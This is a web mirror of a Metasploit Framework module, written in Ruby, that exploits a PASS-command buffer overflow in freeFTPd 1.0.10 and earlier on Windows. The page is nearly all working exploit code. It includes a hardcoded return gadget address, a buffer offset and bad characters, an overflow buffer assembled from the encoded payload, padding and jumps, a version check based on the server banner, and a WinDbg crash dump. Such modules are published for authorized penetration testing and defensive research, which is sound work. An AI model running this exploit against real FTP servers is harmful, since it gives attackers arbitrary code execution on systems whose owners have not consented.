Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/windows/ftp/freeftpd_pass.rb
19778 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
Rank = NormalRanking
8
9
include Msf::Exploit::Remote::Ftp
10
11
def initialize(info = {})
12
super(
13
update_info(
14
info,
15
'Name' => "freeFTPd PASS Command Buffer Overflow",
16
'Description' => %q{
17
freeFTPd 1.0.10 and below contains an overflow condition that is triggered as
18
user-supplied input is not properly validated when handling a specially crafted
19
PASS command. This may allow a remote attacker to cause a buffer overflow,
20
resulting in a denial of service or allow the execution of arbitrary code.
21
22
freeFTPd must have an account set to authorization anonymous user account.
23
},
24
'License' => MSF_LICENSE,
25
'Author' => [
26
'Wireghoul', # Initial discovery, PoC
27
'TecR0c <roccogiovannicalvi[at]gmail.com>', # Metasploit module
28
],
29
'References' => [
30
['OSVDB', '96517'],
31
['EDB', '27747'],
32
['BID', '61905']
33
],
34
'Payload' => {
35
'BadChars' => "\x00\x0a\x0d",
36
},
37
'Platform' => 'win',
38
'Arch' => ARCH_X86,
39
'Targets' => [
40
[
41
'freeFTPd 1.0.10 and below on Windows Desktop Version',
42
{
43
'Ret' => 0x004014bb, # pop edi # pop esi # ret 0x04 [FreeFTPDService.exe]
44
'Offset' => 801,
45
}
46
],
47
],
48
'Privileged' => false,
49
'DisclosureDate' => '2013-08-20',
50
'DefaultTarget' => 0,
51
'Notes' => {
52
'Reliability' => UNKNOWN_RELIABILITY,
53
'Stability' => UNKNOWN_STABILITY,
54
'SideEffects' => UNKNOWN_SIDE_EFFECTS
55
}
56
)
57
)
58
59
register_options([
60
OptString.new('FTPUSER', [ true, 'The username to authenticate with', 'anonymous' ], fallbacks: ['USERNAME']),
61
62
])
63
64
# We're triggering the bug via the PASS command, no point to have pass as configurable
65
# option.
66
deregister_options('FTPPASS')
67
end
68
69
def check
70
connect
71
disconnect
72
73
# All versions including and above version 1.0 report "220 Hello, I'm freeFTPd 1.0"
74
# when banner grabbing.
75
if banner =~ /freeFTPd 1\.0/
76
return Exploit::CheckCode::Appears
77
else
78
return Exploit::CheckCode::Safe
79
80
end
81
end
82
83
def exploit
84
connect
85
print_status("Trying target #{target.name} with user #{user()}...")
86
87
off = target['Offset'] - 9
88
89
bof = payload.encoded
90
bof << rand_text(off - payload.encoded.length)
91
bof << Metasm::Shellcode.assemble(Metasm::Ia32.new, "jmp $-" + off.to_s).encode_string
92
bof << Metasm::Shellcode.assemble(Metasm::Ia32.new, "jmp $-5").encode_string
93
bof << rand_text(2)
94
bof << [target.ret].pack('V')
95
96
send_user(datastore['FTPUSER'])
97
raw_send("PASS #{bof}\r\n")
98
disconnect
99
end
100
end
101
102
=begin
103
(c78.ea4): Access violation - code c0000005 (first chance)
104
First chance exceptions are reported before any exception handling.
105
This exception may be expected and handled.
106
eax=0012b324 ebx=01805f28 ecx=00000019 edx=00000057 esi=4141413d edi=00181e18
107
eip=76c23e8d esp=0012b310 ebp=0012b328 iopl=0 nv up ei pl nz na pe nc
108
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010206
109
OLEAUT32!SysFreeString+0x55:
110
76c23e8d ff36 push dword ptr [esi] ds:0023:4141413d=????????
111
112
FAULTING_IP:
113
OLEAUT32!SysFreeString+55
114
76c23e8d ff36 push dword ptr [esi]
115
116
EXCEPTION_RECORD: ffffffff -- (.exr 0xffffffffffffffff)
117
ExceptionAddress: 76c23e8d (OLEAUT32!SysFreeString+0x00000055)
118
ExceptionCode: c0000005 (Access violation)
119
ExceptionFlags: 00000000
120
NumberParameters: 2
121
Parameter[0]: 00000000
122
Parameter[1]: 4141413d
123
Attempt to read from address 4141413d
124
=end
125
126